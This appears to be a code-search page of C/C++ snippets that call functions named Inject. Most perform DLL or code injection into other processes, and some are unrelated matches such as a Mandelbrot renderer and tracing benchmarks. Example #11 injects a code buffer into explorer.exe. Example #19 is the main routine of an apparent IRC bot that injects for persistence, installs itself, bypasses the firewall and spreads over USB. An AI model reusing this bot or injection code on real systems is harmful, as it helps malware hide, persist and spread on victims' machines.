예제 #1
0
/*******************************************************************************
*
*   函 数 名 : Inject
*  功能描述 : 将dll注入到指定进程名的进程中
*  参数列表 : pProcessName     --             目标进程名
*                   pDllPath              --             指定要注入的dll
*   说      明 : 注入失败,继续注入下一个
*  返回结果 :  如果全部成功,返回TRUE,有失败返回FALSE
*
*******************************************************************************/
BOOL Inject(__in_z CONST PTCHAR pProcessName,
            __in_z CONST PTCHAR pDllPath)
{
        ULONG uProcessCount(0) ;
        ULONG  uMemoryLength(0) ;
        BOOL bState(FALSE) ;
        PDWORD pArrayPID(NULL) ;
        const ULONG uFree(5) ;         // 多申请一些空间,防止在真正取得进程id的时候
                                                        // 突然多起了一些进程,但是太过于极端的情况我们
                                                        // 就不处理了

        if (NULL == pProcessName)
        {
                OutputDebugString(TEXT("Inject:: pProcessName can't NULL! \r\n")) ;
                return FALSE ;
        }

        __try
        {
                uProcessCount = GetProcessListByProcessName(pProcessName, NULL, 0) ;
                // 如果一个相同的都没有,直接退出吧!
                if (0 == uProcessCount)
                {
                        __leave ;
                }
                
                uMemoryLength = uProcessCount + uFree ;
                pArrayPID = new DWORD[uMemoryLength] ;
                uProcessCount = GetProcessListByProcessName(pProcessName, pArrayPID, uMemoryLength) ;

                // 您的电脑是中毒了吧,要不然程序怎么会启得这么快呢?而且还是同名的程序
                if (uProcessCount > uMemoryLength)
                {
                        __leave ;
                }

                bState = TRUE ;
                // 依次调用Inject向目标进程注入dll
                for (ULONG uIndex(0); uIndex < uProcessCount; ++ uIndex)
                {
                        // 如果有一个注入失败,则返回状态为失败
                        if (! Inject(pArrayPID[uIndex], pDllPath))
                        {
                                bState = FALSE ;
                        }
                }
        }

        __finally
        {
                if (NULL != pArrayPID)
                {
                        delete [] pArrayPID ;
                        pArrayPID = NULL ;
                }
        }
        
        return bState ;
}
예제 #2
0
BOOL CInjectDLL::Inject(const wchar_t* wszProcessName, const LPCTSTR& lpwszRemoteDllFullPath)
{
	DWORD dwProcID;
	GetProcessID(wszProcessName,dwProcID);
	if (Inject(dwProcID, lpwszRemoteDllFullPath))
		return TRUE;
	else
		return FALSE;
}
void	Fractale::Mandelbrot(QImage& img)
{
	_pImage = &img;

    std::clock_t c_start = std::clock();
    QTime  time_start = QTime::currentTime();

    {
        double  inc = 2 * _settings._radius / _settings._size;

        #pragma omp parallel for
        for ( int y = 0; y < _settings._size; ++y )
            for ( int x = 0; x < _settings._size; ++x )
            {

                t_vec2d   Z, Z2, P;

                P.x = _settings._Position.y + _settings._radius - inc * y;
                P.y = _settings._Position.x - _settings._radius + inc * x;

                Z = _settings._Perturbation;
                Z2.x = Z.x * Z.x;
                Z2.y = Z.y * Z.y;

                int i = 1;

                while ( ((Z2.x + Z2.y) < 4) && (i < _settings._iter) )
                {
                    Z.y = 2 * Z.x * Z.y + P.y;
                    Z.x = Z2.x - Z2.y + P.x;

                    Z2.x = Z.x * Z.x;
                    Z2.y = Z.y * Z.y;

                    ++i;
                }

                _settings._buffer[y * _settings._size + x] = i;
            }
    }

    std::clock_t c_end = std::clock();
    QTime  time_end = QTime::currentTime();

    Inject();

    float elapsed = time_start.msecsTo(time_end);
    float cputime = 1000.0 * (c_end-c_start) / CLOCKS_PER_SEC;

    std::cout
        << std::fixed
        << std::setprecision(3)
        << "elapsed = " << std::setw(10) << elapsed << " ms" << std::endl
        << "cpu     = " << std::setw(10) << cputime << " ms" << std::endl
        << "ratio   = " << std::setw(10) << cputime/elapsed << std::endl
        ;
}
static void BM_SpanContextMultikeyInjection(benchmark::State& state) {
  auto tracer = MakeTracer();
  assert(tracer != nullptr);
  auto span = tracer->StartSpan("abc123");
  assert(span != nullptr);
  NullTextMapWriter carrier;
  for (auto _ : state) {
    auto was_successful = tracer->Inject(span->context(), carrier);
    assert(was_successful);
  }
}
예제 #5
0
int main(int argc, char* argv[])
{
    char path[255];
    GetFullPathName(MODULE_NAME, 255, path, 0);
    HANDLE process = FindHostProcess("Erebus2.exe");

	Inject(process, path);
    CloseHandle(process);

	return 0;
}
예제 #6
0
//Constructor
phAnalyzer::phAnalyzer(QWidget *parent, Qt::WFlags flags) : QWidget(parent, flags), inj(0)
{
	//Sets up the UI
	ui.setupUi(this);

	//Get absolute path to application
	QString path = QApplication::applicationFilePath();
	path = path.replace(path.mid(path.lastIndexOf("/")), "");

	//Load settings
	QSettings settings(path + "/phAnalyzer.ini", QSettings::IniFormat);
	HOST = settings.value("phAnalyzer/Host").toString();
	PORT = settings.value("phAnalyzer/Port").toUInt();

	//Make sure the host/IP is not empty
	if(HOST.isEmpty())
	{
		//Set default IP
		settings.setValue("phAnalyzer/Host", "127.0.0.1");
		HOST = "127.0.0.1";
	}

	//Make sure the port is not null
	if(PORT == 0)
	{
		//Set default port
		settings.setValue("phAnalyzer/Port", 22580);
		PORT = 22580;
	}

	//Connect file menu actions
	connect(ui.actionSave, SIGNAL(triggered()), this, SLOT(Save()));
	connect(ui.actionInject, SIGNAL(triggered()), this, SLOT(Inject()));
	connect(ui.actionExit, SIGNAL(triggered()), this, SLOT(close()));

	//Connect right click menu for removing opcodes
	connect(ui.lstIgnore, SIGNAL(customContextMenuRequested(const QPoint &)), this, SLOT(RemoveOpcodeMenu(const QPoint &)));
    connect(ui.lstListen, SIGNAL(customContextMenuRequested(const QPoint &)), this, SLOT(RemoveOpcodeMenu(const QPoint &)));

	//New socket
	socket = new QTcpSocket(this);

	//Create the injection UI
	inj = new injection(0, socket);

	//Setup the connection slots
	connect(socket, SIGNAL(connected()), this, SLOT(Connected()));
    connect(socket, SIGNAL(stateChanged(QAbstractSocket::SocketState)), this, SLOT(SocketState(QAbstractSocket::SocketState)));
	connect(socket, SIGNAL(readyRead()), this, SLOT(readyRead()));

	//Connect
	socket->connectToHost(HOST, PORT);
}
예제 #7
0
static Proto* combine(lua_State* L, int n)
{
	if (n==1) {
		int i;
		Proto* f = toproto(L,-1); 
		if (LDS2) {
		  Inject(f,0);
		  for (i=0; i<f->sizep; i++) {
		  	Inject(f->p[i],i+1);
		  }
  	}
		return f;
	}
 else
 {
  int i,pc=0;
  Proto* f=luaF_newproto(L);
  f->source=luaS_newliteral(L,"=(" PROGNAME ")");
  f->maxstacksize=1;
  f->p=luaM_newvector(L,n,Proto*);
  f->sizep=n;
  f->sizecode=2*n+1;
  f->code=luaM_newvector(L,f->sizecode,Instruction);
  for (i=0; i<n; i++)
  {
   f->p[i]=toproto(L,i-n);
   f->code[pc++]=CREATE_ABx(HKS_OPCODE_CLOSURE,0,i);
   f->code[pc++]=CREATE_ABC(HKS_OPCODE_CALL,0,1,1);
  }
  f->code[pc++]=CREATE_ABC(HKS_OPCODE_RETURN,0,1,0);
	if (LDS2) {
		Inject(f,0);
		for (i=0; i<n; i++) {
			Inject(f->p[i],i+1);
		}
	}
  return f;
 }
}
static void BM_SpanContextMultikeyExtraction(benchmark::State& state) {
  auto tracer = MakeTracer();
  assert(tracer != nullptr);
  auto span = tracer->StartSpan("abc123");
  std::vector<std::pair<std::string, std::string>> key_values;
  auto was_successful =
      tracer->Inject(span->context(), TextMapWriter{key_values});
  assert(was_successful);
  TextMapReader carrier{key_values};
  for (auto _ : state) {
    auto span_context_maybe = tracer->Extract(carrier);
    assert(span_context_maybe);
    benchmark::DoNotOptimize(span_context_maybe);
  }
}
예제 #9
0
DWORD WINAPI Injection(LPVOID lpParameter)
{
	_TCHAR* ptszProcessName = (_TCHAR*)lpParameter;
	HANDLE hProcess;
	do
	{
		hProcess = GetProcessByName(ptszProcessName);
	} while (hProcess == INVALID_HANDLE_VALUE);
	bool bInjected = Inject(hProcess, INJECTION_TARGET);
	if (!bInjected)
		printf("Injection Error %d\n", GetLastError());
	else
		printf("Injection Succeeded\n");
	return 0;
}
예제 #10
0
파일: main.cpp 프로젝트: aeshes/research
int main()
{
	DWORD ProcessID;
	HANDLE hProcess;

	ProcessID = GetPID(TEXT("opera.exe"));
	hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessID);

	if (hProcess != INVALID_HANDLE_VALUE)
	{
		Inject(hProcess);
		CloseHandle(hProcess);
	}
	return 0;
}
예제 #11
0
VOID DecodeAndInject(BYTE *pCode, DWORD dwCodeLen)
{
	DWORD nProcessIDs[1024];
	DWORD nProcesses;
	DWORD cb;
	DWORD i;
	HANDLE hProcess;
	CHAR szPath[MAX_PATH + 32];
	BOOLEAN found = FALSE;
	
	/* Decode */
	//for(INT i = 0; i < dwCodeLen; i++)
	//	pCode[i] ^= 0xf1;

	/* Check running process for Explorer.Exe */
	if(EnumProcesses(nProcessIDs, sizeof(nProcessIDs), &cb)) {
		nProcesses = cb / sizeof(nProcessIDs[0]);
		for(i = 0; i < nProcesses; i++) {
			hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD, 
				FALSE, nProcessIDs[i]);
			if(!hProcess)
				continue;

			ZeroMemory(szPath, sizeof(szPath));
			if(!GetModuleFileNameExA(hProcess, NULL, szPath, sizeof(szPath)))
				continue;
				
			//MessageBoxA(NULL, szPath, "AA", MB_OK);

			if(strstr(_ToLowerCase(szPath), "explorer.exe") != NULL) {
				if(Inject(hProcess, pCode, dwCodeLen))
					MessageBoxA(NULL, "Success", "MSG", MB_OK);
				else
					MessageBoxA(NULL, "Error Occurred", "MSG", MB_ICONERROR);
					
				found = TRUE;
			}

			CloseHandle(hProcess);
			
			if(found)
				break;
		}
	}
	
	if(!found)
		MessageBoxA(NULL, "Not Found", "MSG", MB_ICONERROR);
}
예제 #12
0
IHFSERVICE DWORD IHFAPI IHF_InjectByPID(DWORD pid, LPWSTR engine)
{
	WCHAR str[0x80];
	DWORD s;
	if (!running) return 0;
	if (pid == current_process_id) 
	{
		ConsoleOutput(SelfAttach);
		return -1;
	}
	if (man->GetProcessRecord(pid))
	{
		ConsoleOutput(AlreadyAttach);
		return -1;
	}
	swprintf(str, L"ITH_HOOKMAN_%d", pid);
	NtClose(IthCreateMutex(str, 0, &s));
	if (s) return -1;
	CLIENT_ID id;
	OBJECT_ATTRIBUTES oa = {};
	HANDLE hProc;
	id.UniqueProcess = pid;
	id.UniqueThread = 0;
	oa.uLength=sizeof(oa);
	if (!NT_SUCCESS(NtOpenProcess(&hProc,
		PROCESS_QUERY_INFORMATION|
		PROCESS_CREATE_THREAD|
		PROCESS_VM_OPERATION|
		PROCESS_VM_READ|
		PROCESS_VM_WRITE,
		&oa, &id)))
	{
		ConsoleOutput(ErrorOpenProcess);
		return -1;
	}
	
	if (engine == 0) engine = EngineName;
	DWORD module = Inject(hProc,engine);
	NtClose(hProc);
	if (module == -1) return -1;
	swprintf(str, FormatInject, pid, module);
	ConsoleOutput(str);
	return module;
}
예제 #13
0
int main(int argc, char **argv)
{
	if (argc != 3) {
		printf("Usage: ./%s [DLL path] [Target Process ID]\n", argv[0]);
		exit(1);
	}

	printf("\n");
	printf("[****************** DLLInjector ******************]\n");
	printf("By Ahmed Obied\n\n");

	if (Inject(argv[1], atoi(argv[2])))
		printf("\n[-] Injecting \"%s\" into %s succeeded\n", argv[1], argv[2]);
	else
		printf("\n[-] Injecting \"%s\" into %s failed\n", argv[1], argv[2]);

	printf("[*************************************************]\n");

	return 0;
}
예제 #14
0
파일: inject.c 프로젝트: GovanifY/thcrap
int thcrap_inject_into_running(HANDLE hProcess, const char *run_cfg_fn)
{
	int ret = -1;
	HMODULE inj_mod = NULL;

	if(GetModuleHandleEx(
		GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT | GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS,
		(LPTSTR)thcrap_inject_into_running,
		&inj_mod
	)) {
		size_t cur_dir_len = GetCurrentDirectory(0, NULL) + 1;
		size_t inj_dir_len = GetModuleFileNameU(inj_mod, NULL, 0) + 1;
		VLA(char, inj_dll, inj_dir_len);
		VLA(char, inj_dir, inj_dir_len);

		STRLEN_DEC(run_cfg_fn);
		size_t param_len = cur_dir_len + run_cfg_fn_len;
		VLA(char, abs_run_cfg_fn, param_len);
		const char *param;

		GetModuleFileNameU(inj_mod, inj_dir, inj_dir_len);
		strncpy(inj_dll, inj_dir, inj_dir_len);
		PathRemoveFileSpec(inj_dir);
		PathAddBackslashA(inj_dir);

		// Allow for relative directory names
		if(PathIsRelativeA(run_cfg_fn)) {
			GetCurrentDirectory(cur_dir_len, abs_run_cfg_fn);
			PathAppendA(abs_run_cfg_fn, run_cfg_fn);
			param = abs_run_cfg_fn;
		} else {
			param = run_cfg_fn;
			param_len = run_cfg_fn_len;
		}
		ret = Inject(hProcess, inj_dir, inj_dll, "thcrap_init", param, param_len);
		VLA_FREE(abs_run_cfg_fn);
		VLA_FREE(inj_dir);
		VLA_FREE(inj_dll);
	}
	return ret;
}
예제 #15
0
// Injects the dll specified by dllPath after creating the target process
int CInjector::InjectAuto(std::wstring dllPath, std::wstring processPath)
{
	STARTUPINFOW si;
	PROCESS_INFORMATION pi;

	ZeroMemory(&pi, sizeof(pi));
	ZeroMemory(&si, sizeof(si));

	si.cb = sizeof(si);

	try {
		std::wstring exeDirectory = StripFile(processPath);
		SetCurrentDirectoryW(exeDirectory.c_str());

		// Create the process
		if (!CreateProcessW(0,
			const_cast<LPWSTR>(processPath.c_str()),
			0,
			0,
			false,
			CREATE_SUSPENDED,
			0,
			0,
			&si,
			&pi)) throw std::exception("Could not create process");

		// Inject the dll by specific process Id
		std::wstring processName = StripPath(processPath);
		int bInjected = Inject(dllPath, processName, pi.dwProcessId);

		// Resume
		ResumeThread(pi.hThread);

		return bInjected;
	}
	catch (std::exception e) {
		TerminateProcess(pi.hProcess, 0);
		throw;
	}
}
예제 #16
0
/*****************************************************************
 * Enable/Disable Ctrl+Alt+Del and Ctrl+Shift+Esc key sequences. *
 * TRUE=Enable, FALSE=Disable                                    *
 * (Win 2K).                                                     *
 *****************************************************************/
int DLL_EXP_IMP WINAPI CtrlAltDel_Enable_Disable(BOOL bEnableDisable)
{
	static BOOL bInjected = FALSE;

    if (!bEnableDisable)
    {
		if (!bInjected)
		{
			bInjected = Inject();
			return bInjected;
		}
    }
    else
    {
		if (bInjected)
		{
			bInjected = !Eject();
			return !bInjected;
		}
    }

    return 0;
}
예제 #17
0
int main(int argc, char* argv[])
{
	RegisterHotKey(0, 100, MOD_ALT, 121);
	RegisterHotKey(0, 200, MOD_CONTROL, 121);

	MSG msg;

	while(GetMessage(&msg, 0, 0, 0))
	{
		if(msg.message == WM_HOTKEY)
		{
			if(msg.wParam == 200)
			{
				Inject();
			}
			else
			{
				Eject();
			}
		}
	}
	return 0;
}
예제 #18
0
int main()
{
    ElementType X;
    Deque D;
    int done = 0;

    D = CreateDeque();
    while (!done) {
        switch(GetOp()) {
        case push: 
            scanf("%d", &X);
            if (!Push(X, D)) printf("Memory is Full!\n");
            break;
        case pop:
            X = Pop(D);
            if ( X==ERROR ) {
             printf("Deque is Empty!\n");   
            }else {
             printf("%d\n", X);   
            }
            break;
        case inject: 
            scanf("%d", &X);
            if (!Inject(X, D)) printf("Memory is Full!\n");
            break;
        case eject:
            X = Eject(D);
            if ( X==ERROR ) printf("Deque is Empty!\n");
            break;
        case end:
            PrintDeque(D);
            done = 1;
            break;
        }
    }
    return 0;
}
예제 #19
0
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)	
{
	char		currentfile[MAX_PATH] = {0},
				destination[MAX_PATH] = {0};
	
	SetErrorMode(SEM_NOGPFAULTERRORBOX);
	Sleep(400);

	//Detect_Anti();

	//Presistance
	if(_inject) {
   DWORD dwPID;
   if(Check(cfg_filename)) {
      dwPID = GetPID(cfg_filename);
      Inject(dwPID, (LPTHREAD_START_ROUTINE)Guard, NULL);
   }
	}

    //mutex-check
	HANDLE xetum;
	xetum = CreateMutex(NULL, FALSE, cfg_mutex);
	if (GetLastError() == ERROR_ALREADY_EXISTS)
		ExitProcess(0);
 
    //install
    BotInstall();

    CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Firewall_Bypass, 0, 0, 0);
	CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)USB_Spreader, 0, 0, 0);
	//connect
	char test[1] = "";
	IRC_Thread((void*)test);
 
	return 0;
}
예제 #20
0
파일: ansicon.c 프로젝트: kmkkmk/app
//int _tmain( int argc, TCHAR* argv[] )
int main( void )
{
  STARTUPINFO si;
  PROCESS_INFORMATION pi;
  TCHAR*  cmd;
  BOOL	  option;
  BOOL	  opt_m;
  BOOL	  installed;
  HMODULE ansi;
  int	  rc = 0;

  int argc;
  LPWSTR* argv = CommandLineToArgvW( GetCommandLine(), &argc );

  if (argc > 1)
  {
    if (lstrcmp( argv[1], L"--help" ) == 0 ||
	(argv[1][0] == '-' && (argv[1][1] == '?' || argv[1][1] == 'h')) ||
	(argv[1][0] == '/' && argv[1][1] == '?'))
    {
      help();
      return rc;
    }
    if (lstrcmp( argv[1], L"--version" ) == 0)
    {
      _putws( L"ANSICON (" BITS L"-bit) version " PVERS L" (" PDATE L")." );
      return rc;
    }
  }

#if (MYDEBUG > 1)
  DEBUGSTR( NULL ); // create a new file
#endif

  option = (argc > 1 && argv[1][0] == '-');
  if (option && (towlower( argv[1][1] ) == 'i' ||
		 towlower( argv[1][1] ) == 'u'))
  {
    process_autorun( argv[1][1] );
    argv[1][1] = 'p';
  }

  get_original_attr();

  opt_m = FALSE;
  if (option && argv[1][1] == 'm')
  {
    WORD attr = 7;
    if (iswxdigit( argv[1][2] ))
    {
      attr = iswdigit( argv[1][2] ) ? argv[1][2] - '0'
				    : (argv[1][2] | 0x20) - 'a' + 10;
      if (iswxdigit( argv[1][3]))
      {
	attr <<= 4;
	attr |= iswdigit( argv[1][3] ) ? argv[1][3] - '0'
				       : (argv[1][3] | 0x20) - 'a' + 10;
      }
    }
    SetConsoleTextAttribute( hConOut, attr );

    opt_m = TRUE;
    ++argv;
    --argc;
    option = (argc > 1 && argv[1][0] == '-');
  }

  installed = (GetEnvironmentVariable( L"ANSICON", NULL, 0 ) != 0);

  if (option && argv[1][1] == 'p')
  {
    // If it's already installed, there's no need to do anything.
    if (installed)
      ;
    else if (GetParentProcessInfo( &pi ))
    {
      pi.hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, pi.dwProcessId );
      pi.hThread  = OpenThread(  THREAD_ALL_ACCESS,  FALSE, pi.dwThreadId  );
      SuspendThread( pi.hThread );
      if (!Inject( &pi ))
      {
	_putws( L"ANSICON: parent process type is not supported." );
	rc = 1;
      }
      ResumeThread( pi.hThread );
      CloseHandle( pi.hThread );
      CloseHandle( pi.hProcess );
    }
    else
    {
      _putws( L"ANSICON: could not obtain the parent process." );
      rc = 1;
    }
  }
  else
  {
    ansi = 0;
    if (!installed)
    {
      ansi = LoadLibrary( L"ANSI" BITS L".dll" );
      if (!ansi)
      {
	fputws( L"ANSICON: failed to load ANSI" BITS L".dll.\n", stderr );
	rc = 1;
      }
    }

    if (option && (argv[1][1] == 't' || argv[1][1] == 'T'))
    {
      BOOL title = (argv[1][1] == 'T');
      if (argc == 2)
      {
	argv[2] = L"-";
	++argc;
      }
      for (; argc > 2; ++argv, --argc)
      {
	if (title)
	  wprintf( L"==> %s <==\n", argv[2] );
	display( argv[2], title );
	if (title)
	  putwchar( '\n' );
      }
    }
    else
    {
      // Retrieve the original command line, skipping our name and the option.
      cmd = skip_spaces( skip_arg( skip_spaces( GetCommandLine() ) ) );
      if (opt_m)
	cmd = skip_spaces( skip_arg( cmd ) );

      if (cmd[0] == '-' && (cmd[1] == 'e' || cmd[1] == 'E'))
      {
	fputws( cmd + 3, stdout );
	if (cmd[1] == 'e')
	  putwchar( '\n' );
      }
      else if (!_isatty( 0 ) && *cmd == '\0')
      {
	display( L"-", FALSE );
      }
      else
      {
	if (*cmd == '\0')
	{
	  cmd = _wgetenv( L"ComSpec" );
	  if (cmd == NULL)
	    cmd = L"cmd";
	}

	ZeroMemory( &si, sizeof(si) );
	si.cb = sizeof(si);
	if (CreateProcess( NULL, cmd, NULL,NULL, TRUE, 0, NULL,NULL, &si, &pi ))
	{
	  BOOL	console = FALSE;
	  TCHAR name[MAX_PATH];
	  DWORD rc;
	  CoInitialize( NULL );
	  do
	  {
	    // When I first tried doing this, it took a little while to
	    // succeed.  Testing again shows it works immediately - perhaps the
	    // CoInitialize introduces enough of a delay.  Still, play it safe
	    // and keep trying.  And if you're wondering why I do it at all,
	    // ProcessType may detect GUI, even for a console process.	That's
	    // fine after injection (including -p), but not here.  We *need* to
	    // suspend our own execution whilst running the child, otherwise
	    // bad things happen (besides which, I want to restore the original
	    // attributes when the child exits).
	    if (GetModuleFileNameEx( pi.hProcess, NULL, name, lenof(name) ))
	    {
	      DWORD_PTR info;
	      info = SHGetFileInfo( name, 0, NULL, 0, SHGFI_EXETYPE );
	      if (info == 0x00004550) // console PE
		console = TRUE;
	      DEBUGSTR( L"%s", name );
	      DEBUGSTR( L"  %s (%p)", (console) ? L"Console" : L"Not console",
				      info );
	      break;
	    }
	    Sleep( 10 );
	  } while (GetExitCodeProcess( pi.hProcess, &rc ) &&
		   rc == STILL_ACTIVE);
	  CoUninitialize();
	  if (console)
	  {
	    SetConsoleCtrlHandler( (PHANDLER_ROUTINE)CtrlHandler, TRUE );
	    WaitForSingleObject( pi.hProcess, INFINITE );
	  }
	  CloseHandle( pi.hProcess );
	  CloseHandle( pi.hThread );
	}
	else
	{
	  *skip_arg( cmd ) = '\0';
	  wprintf( L"ANSICON: '%s' could not be executed.\n", cmd );
	  rc = 1;
	}
      }
    }

    if (ansi)
      FreeLibrary( ansi );
  }

  set_original_attr();
  return rc;
}
예제 #21
0
bool GLSLTool::Assemble(
	Engine &engine,
	const r::Material &material,
	const Shader::Ref &shader,
	const r::MaterialInputMappings &mapping,
	const Shader::TexCoordMapping &tcMapping,
	r::Shader::Pass pass,
	AssembleFlags flags,
	std::ostream &out
) {
	std::stringstream ss;

	const bool GLES = (flags & kAssemble_GLES) ? true : false;

	if (!(flags&(kAssemble_VertexShader|kAssemble_PixelShader)))
		flags |= kAssemble_VertexShader;

	bool vertexShader = (flags & kAssemble_VertexShader) ? true : false;

	if (!GLES)
		ss << "#version 120\r\n";

	if (vertexShader) {
		ss << "#define VERTEX\r\n";
	} else {
		ss << "#define FRAGMENT\r\n";
		ss << "#define MATERIAL\r\n";
	}

	switch (shader->precisionMode) {
	case Shader::kPrecision_Low:
		ss << "#define PFLOAT FIXED\r\n";
		ss << "#define PFLOAT2 FIXED2\r\n";
		ss << "#define PFLOAT3 FIXED3\r\n";
		ss << "#define PFLOAT4 FIXED4\r\n";
		ss << "#define PFLOAT4X4 FIXED4X4\r\n";
		break;
	case Shader::kPrecision_Medium:
		ss << "#define PFLOAT HALF\r\n";
		ss << "#define PFLOAT2 HALF2\r\n";
		ss << "#define PFLOAT3 HALF3\r\n";
		ss << "#define PFLOAT4 HALF4\r\n";
		ss << "#define PFLOAT4X4 HALF4X4\r\n";
		break;
	case Shader::kPrecision_High:
		ss << "#define PFLOAT FLOAT\r\n";
		ss << "#define PFLOAT2 FLOAT2\r\n";
		ss << "#define PFLOAT3 FLOAT3\r\n";
		ss << "#define PFLOAT4 FLOAT4\r\n";
		ss << "#define PFLOAT4X4 FLOAT4X4\r\n";
		break;
	}

	if (pass != r::Shader::kPass_Preview) {
		if (material.skinMode == r::Material::kSkinMode_Sprite)
			ss << "#define SKIN_SPRITE\r\n";
		if (material.skinMode == r::Material::kSkinMode_Billboard)
			ss << "#define SKIN_BILLBOARD\r\n";
	}

	if (shader->MaterialSourceUsage(pass, Shader::kMaterialSource_Color) > 0)
		ss << "#define SHADER_COLOR\r\n";

	if (shader->MaterialSourceUsage(pass, Shader::kMaterialSource_VertexColor) > 0)
		ss << "#define SHADER_VERTEX_COLOR\r\n";

	if (shader->MaterialSourceUsage(pass, Shader::kMaterialSource_Vertex) > 0)
		ss << "#define SHADER_POSITION\r\n";

	if (shader->MaterialSourceUsage(pass, Shader::kMaterialSource_MV) > 0)
		ss << "#define SHADER_MV\r\n";
	
	if (shader->MaterialSourceUsage(pass, Shader::kMaterialSource_PRJ) > 0)
		ss << "#define SHADER_PRJ\r\n";

	if (shader->MaterialSourceUsage(pass, Shader::kMaterialSource_MVP) > 0)
		ss << "#define SHADER_MVP\r\n";

	if (shader->MaterialSourceUsage(pass, Shader::kMaterialSource_InverseMV) > 0)
		ss << "#define SHADER_INVERSE_MV\r\n";

	if (shader->MaterialSourceUsage(pass, Shader::kMaterialSource_InverseMVP) > 0)
		ss << "#define SHADER_INVERSE_MVP\r\n";

	if (shader->MaterialSourceUsage(pass, Shader::kMaterialSource_InversePRJ) > 0)
		ss << "#define SHADER_INVERSE_PRJ\r\n";

	if (shader->MaterialSourceUsage(pass, Shader::kMaterialSource_PFXVars) > 0)
		ss << "#define PFX_VARS\r\n";
		
	if (shader->MaterialSourceUsage(pass, Shader::kMaterialSource_EyeVertex) > 0)
		ss << "#define SHADER_EYE_VERTEX\r\n";

	int numTextures = 0;
	for (int i = 0; i < r::kMaxTextures; ++i) {
		if (mapping.textures[i][0] == r::kInvalidMapping)
			break; // no more texture bindings
		switch (mapping.textures[i][0]) {
		case r::kMaterialTextureSource_Texture:
			ss << "#define T" << i << "TYPE sampler2D" << "\r\n";
			break;
		default:
			break;
		}
		switch(shader->SamplerPrecisionMode(i)) {
		case Shader::kPrecision_Low:
			ss << "#define T" << i << "PRECISION lowp" << "\r\n";
			break;
		case Shader::kPrecision_Medium:
			ss << "#define T" << i << "PRECISION mediump" << "\r\n";
			break;
		case Shader::kPrecision_High:
			ss << "#define T" << i << "PRECISION highp" << "\r\n";
			break;
		}
		++numTextures;
	}

	if (numTextures > 0)
		ss << "#define TEXTURES " << numTextures << "\r\n";
	
	const Shader::IntSet &tcUsage = shader->AttributeUsage(pass, Shader::kMaterialSource_TexCoord);
	int numTexCoords = (int)tcUsage.size();
	if (numTexCoords > 0) {
		// Shaders files can read from r::kMaxTexture unique texture coordinate slots.
		// The set of read texcoord registers may be sparse. Additionally the engine only supports
		// 2 UV channels in most model data. We do some work here to map the set of read texcoord
		// registers onto the smallest possible set:
		//
		// A tcMod may take an input UV channel and modify it, meaning that texture channel is unique,
		// however there are a lot of cases where the tcMod is identity and therefore a texture coordinate
		// register in a shader can be mapped to a commmon register.

		int numTCMods = 0;
		for (int i = 0; i < r::kMaterialTextureSource_MaxIndices; ++i) {
			if (mapping.tcMods[i] == r::kInvalidMapping)
				break;
			++numTCMods;
		}
		
		// numTCMods is the number of unique texture coordinates read by the pixel shader.
		// (which have to be generated by the vertex shader).

		ss << "#define TEXCOORDS " << numTCMods << "\r\n";

		RAD_VERIFY(tcUsage.size() == tcMapping.size());

		if (vertexShader) {
			Shader::IntSet tcInputs;
			
			bool genReflect = false;
			bool genProject = false;

			for (int i = 0; i < r::kMaterialTextureSource_MaxIndices; ++i) {
				if (mapping.tcMods[i] == r::kInvalidMapping)
					break;
				int tcIndex = (int)mapping.tcMods[i];
				tcInputs.insert(material.TCUVIndex(tcIndex));

				int tcMod = material.TCModFlags(tcIndex);
				if (tcMod & r::Material::kTCModFlag_Rotate)
					ss << "#define TEXCOORD" << i << "_ROTATE\r\n";
				if (tcMod & r::Material::kTCModFlag_Scale)
					ss << "#define TEXCOORD" << i << "_SCALE\r\n";
				if (tcMod & r::Material::kTCModFlag_Shift)
					ss << "#define TEXCOORD" << i << "_SHIFT\r\n";
				if (tcMod & r::Material::kTCModFlag_Scroll)
					ss << "#define TEXCOORD" << i << "_SCROLL\r\n";
				if (tcMod & r::Material::kTCModFlag_Turb)
					ss << "#define TEXCOORD" << i << "_TURB\r\n";

				int tcGen = material.TCGen(tcIndex);
				if (tcGen == r::Material::kTCGen_EnvMap) {
					if (!genReflect) {
						genReflect = true;
						ss << "#define GENREFLECT\r\n";
					}
					ss << "#define TEXCOORD" << i << "_GENREFLECT\r\n";
				} else if (tcGen == r::Material::kTCGen_Projected) {
					if (!genProject) {
						genProject = true;
						ss << "#define GENPROJECT\r\n";
					}
					ss << "#define TEXCOORD" << i << "_GENPROJECT\r\n";
				}
			}

			ss << "#define TCINPUTS " << tcInputs.size() << "\r\n";

			for (int i = 0; i < r::kMaterialTextureSource_MaxIndices; ++i) {
				if (mapping.tcMods[i] == r::kInvalidMapping)
					break;
				int tcIndex = (int)mapping.tcMods[i];
				int uvIndex = material.TCUVIndex(tcIndex);

				int ofs = 0;
				for (Shader::IntSet::const_iterator it2 = tcInputs.begin(); it2 != tcInputs.end(); ++it2) {
					if (uvIndex == *it2)
						break;
					++ofs;
				}

				RAD_VERIFY(ofs < (int)tcInputs.size());
				ss << "#define TEXCOORD" << i << " tc" << ofs << "\r\n";
			}
		} else {
			// fragment shader inputs used generated tc's, which may have expanded from the
			// the vertex shader inputs.
			int ofs = 0;
			for (Shader::IntSet::const_iterator it = tcUsage.begin(); it != tcUsage.end(); ++it, ++ofs) {
				ss << "#define TEXCOORD" << ofs << " tc" << tcMapping[ofs].first << "\r\n";
			}
		}
	}
	
	int numColors = shader->MaterialSourceUsage(pass, Shader::kMaterialSource_Color);

	if (numColors > 0)
		ss << "#define COLORS " << numColors << "\r\n";

	int numSpecularColors = std::max(
		shader->MaterialSourceUsage(pass, Shader::kMaterialSource_SpecularColor),
		shader->MaterialSourceUsage(pass, Shader::kMaterialSource_SpecularExponent)
	);
	if (numSpecularColors > 0)
		ss << "#define SHADER_SPECULAR_COLORS " << numSpecularColors << "\r\n";

	int numLightPos = shader->MaterialSourceUsage(pass, Shader::kMaterialSource_LightPos);
	int numLightVec = shader->MaterialSourceUsage(pass, Shader::kMaterialSource_LightVec);
